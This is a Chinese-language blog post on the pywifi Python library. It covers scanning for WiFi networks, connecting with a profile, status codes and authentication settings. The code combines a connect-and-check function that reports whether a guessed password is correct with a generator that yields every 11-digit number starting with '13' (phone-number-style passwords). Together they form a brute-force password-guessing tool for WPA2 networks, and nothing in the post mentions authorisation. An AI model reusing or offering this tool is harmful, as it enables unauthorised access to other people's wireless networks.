pywifi运用

1、WiFi接口操作

(例如:扫描,连接,断开…)

WiFi接口方法如下

['add_network_profile', 'connect', 'disconnect', 'name', 'network_profiles', 'remove_all_network_profiles', 'remove_network_profile', 'scan', 'scan_results', 'status']

(1)返回扫描的WiFi名字

import pywifi
from pywifi import const    #获取连接状态的常量库
import time

def getwfiname():
    get_wifiname = []
    # 定义接口操作
    wifi = pywifi.PyWiFi()
    # 这里iface就是获取的wifi接口
    iface = wifi.interfaces()[0]
    # 扫描WiFi
    iface.scan()
    # 获取扫描的profiles文件
    scan_wifi = iface.scan_results()
    for i in scan_wifi:
        if i.ssid not in get_wifiname:
            get_wifiname.append(i.ssid)
    #返回所有扫描的WiFi名字
    return get_wifiname

(2)连接WiFi

def connectwifi(wifiname, password):
    # 定义接口操作
    wifi = pywifi.PyWiFi()
    # 获取第一个无线网卡
    iface = wifi.interfaces()[0]
    # 删除所有连接过的wifi文件
    iface.remove_all_network_profiles()
    # 创建wifi连接文件
    profile = pywifi.Profile()
    # 设置要连接的wifi的名称
    profile.ssid = wifiname
    # 网卡的开放状态 | auth - AP的认证算法
    profile.auth = const.AUTH_ALG_OPEN
    # wifi的加密算法,一般wifi 加密算法时wps  #选择wifi加密方式  akm - AP的密钥管理类型
    profile.akm.append(const.AKM_TYPE_WPA2PSK)
    # 加密单元 /cipher - AP的密码类型
    profile.cipher = const.CIPHER_TYPE_CCMP
    # 调用密码 /wifi密钥 如果无密码,则应该设置此项CIPHER_TYPE_NONE
    profile.key = password
    # 加载新的连接文件
    tep_profile = iface.add_network_profile(profile)
    # 连接WiFi
    iface.connect(tep_profile)
    time.sleep(2)
    if iface.status() == 4:
        print(f"WIFI名字:{wifiname} -----密码正确:{profile.key}")
    else:
        print(f"WIFI名字:{wifiname} -----密码错误:{profile.key}")

(3)返回连接状态

print(iface.status())
#将返回以下状态码之一,这个库里面就显示了接口是否连接对于的常量:
#const.IFACE_DISCONNECTED 也就是0
#const.IFACE_SCANNING 也就是1
#const.IFACE_INACTIVE 也就是2
#const.IFACE_CONNECTING 也就是3
#const.IFACE_CONNECTED 也就是4

2、配置文件

(1)生成配置文件对象:

profile=pywifi.Profile()    #生成对象而已,接下来就能对他进行配置操作了

(2)配置文件的操作方式:

ssid - AP的名称  wifi的名称
auth - AP的认证算法
akm  - AP的密钥管理类型   wifi的加密算法,
cipher - AP的密码类型
key (optinoal) - AP的关键。如果无密码,则应该设置此项CIPHER_TYPE_NONE

说明

auth - AP的认证算法:也是身份验证的算法,其实,几乎所有AP都使用开放算法,尽管我们可以有以下设置

const.AUTH_ALG_OPEN
const.AUTH_ALG_SHARED

akm - AP的密钥管理类型:

const.AKM_TYPE_NONE   #AP没有安全设置
const.AKM_TYPE_WPAPSK  #AP处于WPA模式
const.AKM_TYPE_WPA2PSK   #AP处于WPA2模式

AKM_TYPE_WPA和AKM_TYPE_WPA2针对企业的AP(这里就不解释了):
const.AKM_TYPE_WPA
const.AKM_TYPE_WPA2

cipher - AP的密码类型:

const.CIPHER_TYPE_NONE  #如果AP没有安全设置,则应将密码类型设置为ProfileAKM_TYPE_NONE
const.CIPHER_TYPE_WEP
const.CIPHER_TYPE_TKIP
const.CIPHER_TYPE_CCMP  #通常情况下设置为这个,虽然不知道是什么

 密码

import numpy as np
def dipassword():
    dilist = range(0,10)
    passwordlist = ["1",'3']
    for i1 in dilist:
        for i2 in dilist:
            for i3 in dilist:
                for i4 in dilist:
                    for i5 in dilist:
                        for i6 in dilist:
                            for i7 in dilist:
                                for i8 in dilist:
                                    for i9 in dilist:
                                        passwordlist.extend([i1,i2,i3,i4,i5,i6,i7,i8,i9])
                                        #print("".join(np.array(passwordlist,np.str).tolist()))
                                        yield "".join(np.array(passwordlist, np.str).tolist())
                                        passwordlist = ["1", '3']
手机号码密码

 

posted @ 2021-09-04 20:48  Einewhaw  阅读(627)  评论(0编辑  收藏  举报